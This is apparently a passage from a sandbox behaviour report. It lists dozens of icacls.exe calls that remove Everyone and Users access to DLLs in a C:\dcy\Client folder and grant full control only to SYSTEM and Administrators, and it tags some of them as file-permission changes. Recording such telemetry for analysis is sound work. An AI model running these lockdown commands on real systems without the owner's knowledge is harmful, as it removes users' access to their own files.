        icacls "C:\dcy\Client\Microsoft.AspNetCore.Rewrite.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Routing.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1096
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Routing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3064
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.HttpSys.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4392
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.IIS.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1352
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.IISIntegration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4000
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.Kestrel.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1780
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.Kestrel.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4324
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.Kestrel.Transport.NamedPipes.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1888
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.Kestrel.Transport.Quic.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5028
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Server.Kestrel.Transport.Sockets.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1300
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.Session.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6032
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.SignalR.Common.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2156
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.SignalR.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6136
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.SignalR.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5348
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.SignalR.Protocols.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3376
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.StaticFiles.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5560
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.WebSockets.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3316
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.AspNetCore.WebUtilities.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2220
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.CSharp.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3468
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Data.Sqlite.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3496
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.DiaSymReader.Native.amd64.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4240
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Caching.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2752
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Caching.Memory.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1212
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2816
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.Binder.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2400
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.CommandLine.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:208
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5336
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.EnvironmentVariables.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4940
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.FileExtensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3916
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.Ini.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:1988
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.Json.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:3928
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.KeyPerFile.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:6112
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.UserSecrets.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3152
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Configuration.Xml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4264
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.DependencyInjection.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4996
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.DependencyInjection.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1080
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Diagnostics.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2356
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Diagnostics.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1708
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Diagnostics.HealthChecks.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4872
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Diagnostics.HealthChecks.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4664
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Features.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5968
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.FileProviders.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3988
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.FileProviders.Composite.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3368
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.FileProviders.Embedded.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:836
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.FileProviders.Physical.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2768
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.FileSystemGlobbing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5900
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Hosting.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2572
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Hosting.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5956
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Hosting.WindowsServices.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1292
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Http.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5832
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Identity.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:840
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Identity.Stores.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5292
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Localization.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2308
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Localization.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4364
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.Abstractions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1832
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.Configuration.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2720
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.Console.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3964
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.Debug.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1324
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5152
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.EventLog.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2276
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.EventSource.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1932
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Logging.TraceSource.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4196
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.ObjectPool.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:468
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Options.ConfigurationExtensions.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5692
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Options.DataAnnotations.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4980
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Options.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4484
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:2860
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Extensions.WebEncoders.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        Modifies file permissions
        
        PID:4428
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.JSInterop.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5084
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Net.Http.Headers.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4092
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.VisualBasic.Core.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1328
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.VisualBasic.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1356
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.VisualBasic.Forms.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4712
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Win32.Primitives.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4832
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Win32.Registry.AccessControl.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4736
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Win32.Registry.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5652
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\Microsoft.Win32.SystemEvents.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2340
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ModernWpf.Controls.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4928
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\ModernWpf.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4544
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\mscordaccore.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1896
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\mscordaccore_amd64_amd64_8.0.2726.22922.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5184
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\mscordbi.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4180
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\mscorlib.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4908
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\mscorrc.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4784
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\msquic.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5164
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\netstandard.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:3112
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PenImc_cor3.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4764
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationCore.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:2328
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework-SystemCore.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:1580
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework-SystemData.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4988
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework-SystemDrawing.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:4408
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\dcy\Client\PresentationFramework-SystemXml.dll" /inheritance:r /remove:g "*S-1-1-0" "*S-1-5-7" "*S-1-5-11" "*S-1-5-32-545" /grant:r "*S-1-5-18:F" "*S-1-5-32-544:F" /C
        6⤵
        
        PID:5236
      - C:\Windows\system32\icacls.exe
        
